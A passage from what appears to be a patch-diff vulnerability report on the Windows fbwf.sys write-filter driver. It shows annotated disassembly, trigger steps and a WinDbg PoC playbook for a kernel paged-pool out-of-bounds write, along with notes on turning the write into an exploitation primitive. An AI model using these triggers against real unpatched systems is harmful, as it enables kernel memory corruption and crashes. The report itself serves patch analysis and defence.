class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0011520&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0011525&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001152C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001156A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;through&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0011573&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001157A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;through&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x140014041&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;measure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;includes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;appended&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="mh"&gt;0x140014046&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;measure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;
&lt;span class="mh"&gt;0x140014056&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;measure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;var_58&lt;/span&gt;
&lt;span class="mh"&gt;0x14001405F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mh"&gt;0x140014088&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_name_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;through_name_len&lt;/span&gt;
&lt;span class="mh"&gt;0x14001408B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1400140A8&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_name_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_through_name_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400140A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400140BC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mh"&gt;0x1400140C1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePool2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exactly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;h4&gt;Trigger 1: Pool Out-of-Bounds Write (&lt;code&gt;FbwfGenerateFileName&lt;/code&gt;)&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;On a volume monitored by the &lt;code&gt;fbwf&lt;/code&gt; minifilter, create or reference a file that carries an alternate data stream (&lt;code&gt;path:stream&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Arrange for the file's full path to be long enough that &lt;code&gt;volume_len + path_len&lt;/code&gt; approaches the fixed &lt;code&gt;0xFFFE&lt;/code&gt;-byte buffer (a deeply nested directory path).&lt;/li&gt;
&lt;li&gt;Trigger the minifilter name-generation path (file create / name query) so &lt;code&gt;FbwfGenerateFileName&lt;/code&gt; runs on the option-byte 1/2 branch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observation:&lt;/strong&gt; On the unpatched build, once the volume name and path fill the fixed buffer, the &lt;code&gt;':'&lt;/code&gt; and stream-name writes land past the &lt;code&gt;0xFFFE&lt;/code&gt; pool allocation, corrupting adjacent paged pool. On the patched build the buffer is sized to include the stream, so the writes stay in bounds.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Trigger 2: Integer Overflow Rejection (&lt;code&gt;FbwfPortMessage&lt;/code&gt;)&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a handle to the &lt;code&gt;fbwf&lt;/code&gt; communication port via &lt;code&gt;FilterConnectCommunicationPort&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Construct an input buffer with the IOCTL code &lt;code&gt;0xFB2F0001&lt;/code&gt; selecting the scratch-space handler.&lt;/li&gt;
&lt;li&gt;Populate the &lt;code&gt;count&lt;/code&gt; field in the message body. Provide an input buffer length (&lt;code&gt;arg3&lt;/code&gt;) &amp;gt;= 8 bytes and an output buffer length (&lt;code&gt;arg5&lt;/code&gt;) &amp;gt;= 8 bytes.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;count&lt;/code&gt; such that &lt;code&gt;count * block_size&lt;/code&gt; would overflow 64-bit arithmetic (for &lt;code&gt;block_size = 0x1000&lt;/code&gt;, a &lt;code&gt;count&lt;/code&gt; of &lt;code&gt;0x0010000000000000&lt;/code&gt; or larger).&lt;/li&gt;
&lt;li&gt;Send the message via &lt;code&gt;FilterSendMessage&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observation:&lt;/strong&gt; On the patched build the overflow test detects the overflow and the call returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; (&lt;code&gt;0xC0000095&lt;/code&gt;) with no state change. There is no undersized allocation and no pool corruption. The unpatched build has no such handler.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Trigger 3: &lt;code&gt;FbwfWrite&lt;/code&gt; Sentinel Offset Handling (No Change)&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Open a handle to a file residing on a volume monitored by the &lt;code&gt;fbwf&lt;/code&gt; minifilter.&lt;/li&gt;
&lt;li&gt;Construct a write operation using &lt;code&gt;NtWriteFile&lt;/code&gt; or &lt;code&gt;ZwWriteFile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Supply a &lt;code&gt;LARGE_INTEGER&lt;/code&gt; ByteOffset of &lt;code&gt;0xFFFFFFFFFFFFFFFE&lt;/code&gt; (use current position) or &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; (append).&lt;/li&gt;
&lt;li&gt;Execute the write request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observation:&lt;/strong&gt; Both builds substitute the current-position or end-of-file offset for these sentinels and apply the same &lt;code&gt;length + offset&lt;/code&gt; wrap guard. Behavior is identical between builds; there is no security-relevant difference to exercise here.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Trigger 4: Pool Out-of-Bounds Write (&lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt;)&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;On a volume monitored by the &lt;code&gt;fbwf&lt;/code&gt; minifilter, create a file or directory whose parent directory path is deeply nested so the current path nearly fills the fixed &lt;code&gt;0xFFFE&lt;/code&gt;-byte buffer.&lt;/li&gt;
&lt;li&gt;Give the created entry a name (and/or drive a write-through entry) so the appended name pushes &lt;code&gt;path_len + name_len&lt;/code&gt; past &lt;code&gt;0xFFFE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Trigger the create so &lt;code&gt;FbwfPreCreate&lt;/code&gt; calls &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; to insert the entry.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observation:&lt;/strong&gt; On the unpatched build, once the current path fills the fixed &lt;code&gt;0xFFFE&lt;/code&gt; buffer, the entry-name (&lt;code&gt;0x1C001152C&lt;/code&gt;) and, if present, the write-through-name (&lt;code&gt;0x1C001157A&lt;/code&gt;) &lt;code&gt;memmove&lt;/code&gt;s land past the &lt;code&gt;0xFFFE&lt;/code&gt; allocation, corrupting adjacent paged pool. On the patched build the allocation is pre-sized to &lt;code&gt;path_len + 4 + max(entry_name_len, write_through_name_len)&lt;/code&gt;, so the copies stay in bounds.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;h4&gt;Primitive 1: Kernel Paged-Pool Out-of-Bounds Write (&lt;code&gt;FbwfGenerateFileName&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The unaccounted stream-name append yields a paged-pool out-of-bounds write. When &lt;code&gt;volume_len + path_len&lt;/code&gt; fills the fixed &lt;code&gt;0xFFFE&lt;/code&gt; buffer, the driver writes a &lt;code&gt;':'&lt;/code&gt; (2 bytes) followed by the stream name (up to &lt;code&gt;stream_len&lt;/code&gt; bytes) past the end of the allocation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exploitation Strategy:&lt;/strong&gt; The overflow length is &lt;code&gt;2 + stream_len&lt;/code&gt; bytes and the stream-name content is attacker-influenced, giving a controlled linear write into whatever follows the allocation in paged pool. Practical reachability is constrained: the path must be long enough (with the volume name) to consume nearly the full &lt;code&gt;0xFFFE&lt;/code&gt; buffer, since &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt; is bounded to the remaining space. Under those conditions the write corrupts adjacent pool, which can be steered toward a pool-based exploitation primitive or, at minimum, a bugcheck. The patched build removes the primitive by sizing the allocation to include the appended stream.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Primitive 2: None (Overflow-Checked Size Computation, &lt;code&gt;FbwfPortMessage&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The multiplication in the &lt;code&gt;FbwfPortMessage&lt;/code&gt; scratch-space handler does not yield an exploit primitive. The product of &lt;code&gt;count * block_size&lt;/code&gt; updates the &lt;code&gt;TotalBytes&lt;/code&gt; cache-accounting counter and is compared against &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt; memory sizes, not used to size a pool allocation. On the patched build the overflow test rejects any overflow with &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt;, and the unpatched build does not contain this handler at all. There is no undersized allocation and therefore no pool-overflow write primitive to develop here.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;This playbook provides actionable guidance for triggering the finding with an attached kernel debugger (KD/WinDbg).&lt;/p&gt;
&lt;h4&gt;Finding 1: &lt;code&gt;FbwfGenerateFileName&lt;/code&gt; Pool Out-of-Bounds Write&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp fbwf_unpatched!FbwfGenerateFileName&lt;/code&gt; (&lt;code&gt;0x1C0001CB0&lt;/code&gt;) — catches name generation. Follow the option-byte 1/2 path to &lt;code&gt;0x1C0001E4D&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Set a breakpoint at the fixed allocation (&lt;code&gt;0x1C0001E61&lt;/code&gt;) and at the stream &lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;0x1C0001E1C&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At the allocation: confirm the size operand is &lt;code&gt;0xFFFE&lt;/code&gt; regardless of the file path.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1C0001EB2&lt;/code&gt;: &lt;code&gt;si&lt;/code&gt; = &lt;code&gt;volume_len + path_len&lt;/code&gt;. If &lt;code&gt;si&lt;/code&gt; is near &lt;code&gt;0xFFFE&lt;/code&gt;, the pending colon/stream writes will overflow.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1C0001ECF&lt;/code&gt; / &lt;code&gt;0x1C0001E1C&lt;/code&gt;: confirm the destination offset (&lt;code&gt;si&lt;/code&gt;, then &lt;code&gt;si+2&lt;/code&gt;) plus the stream length exceeds &lt;code&gt;0xFFFE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Instructions/Offsets:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0001E53&lt;/code&gt;: fixed &lt;code&gt;0xFFFE&lt;/code&gt; size loaded before &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0001ECF&lt;/code&gt;: &lt;code&gt;':'&lt;/code&gt; write at offset &lt;code&gt;si&lt;/code&gt; with no bound check.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0001E1C&lt;/code&gt;: stream-name &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;buffer + si + 2&lt;/code&gt; with no bound check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;On an &lt;code&gt;fbwf&lt;/code&gt;-protected volume, reference a file with an alternate data stream whose full path is deeply nested so &lt;code&gt;volume_len + path_len&lt;/code&gt; approaches &lt;code&gt;0xFFFE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;With Special Pool enabled for &lt;code&gt;fbwf.sys&lt;/code&gt;, the append triggers an immediate bugcheck (&lt;code&gt;SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION&lt;/code&gt;). Without Special Pool, the colon and stream bytes silently corrupt adjacent paged pool. On the patched build the allocation is sized to include the stream, so the writes stay in bounds.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 2: &lt;code&gt;FbwfPortMessage&lt;/code&gt; Overflow-Checked Multiplication&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp fbwf_patched!FbwfPortMessage&lt;/code&gt; (&lt;code&gt;0x140003DB0&lt;/code&gt;) — catches all user-mode messages. Inspect &lt;code&gt;rdx&lt;/code&gt; (input buffer) and &lt;code&gt;r8d&lt;/code&gt; (input size).&lt;/li&gt;
&lt;li&gt;Set a breakpoint at the &lt;code&gt;mul&lt;/code&gt; in the scratch-space handler (&lt;code&gt;0x140004E45&lt;/code&gt;) to observe the &lt;code&gt;count * block_size&lt;/code&gt; computation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At the entry point: &lt;code&gt;r8d&lt;/code&gt; must be &amp;gt;= 8. &lt;code&gt;rdx&lt;/code&gt; points to the user input copied to pool. Check &lt;code&gt;[rdx]&lt;/code&gt; for the IOCTL code.&lt;/li&gt;
&lt;li&gt;At the multiply: confirm &lt;code&gt;count&lt;/code&gt; (from user input, &lt;code&gt;r15&lt;/code&gt;) and &lt;code&gt;block_size&lt;/code&gt; (from volume metadata) before the overflow test at &lt;code&gt;0x140004E4F&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Instructions/Offsets:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140004733&lt;/code&gt;: the IOCTL dispatch bounds check (&lt;code&gt;lea eax, [r13+0x4e0fffe]; cmp eax, 0xb; ja&lt;/code&gt;) — the same guard is present in the unpatched build at &lt;code&gt;0x1C000A746&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140004DBB&lt;/code&gt;: the &lt;code&gt;0xFB2F0001&lt;/code&gt; case selector. &lt;code&gt;0x140004E45&lt;/code&gt;: the &lt;code&gt;mul&lt;/code&gt;. &lt;code&gt;0x140004E5B&lt;/code&gt;: &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; on overflow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Open the minifilter port from user mode using &lt;code&gt;FilterConnectCommunicationPort&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Send a packet via &lt;code&gt;FilterSendMessage&lt;/code&gt; with buffer length &amp;gt;= 8 and IOCTL &lt;code&gt;0xFB2F0001&lt;/code&gt;, with &lt;code&gt;count&lt;/code&gt; set to overflow the multiply.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;With an overflow-triggering &lt;code&gt;count&lt;/code&gt;, the overflow test fails, the size is forced to &lt;code&gt;-1&lt;/code&gt;, and the handler returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; (&lt;code&gt;0xC0000095&lt;/code&gt;). No allocation is sized from the product and no pool corruption occurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FbwfGenerateFileName&lt;/code&gt;&lt;/strong&gt; (Security Relevant): Unpatched sizes the name buffer at a fixed &lt;code&gt;0xFFFE&lt;/code&gt; and appends a &lt;code&gt;':'&lt;/code&gt; plus the alternate-data-stream name at &lt;code&gt;volume_len + path_len&lt;/code&gt; with no bounds check, allowing a paged-pool out-of-bounds write when the path fills the buffer. Patched pre-measures &lt;code&gt;volume_len + path_len + 2 + stream_len*2&lt;/code&gt; and allocates exactly that with &lt;code&gt;ExAllocatePool2&lt;/code&gt;. This is a load-bearing security fix.&lt;/li&gt;
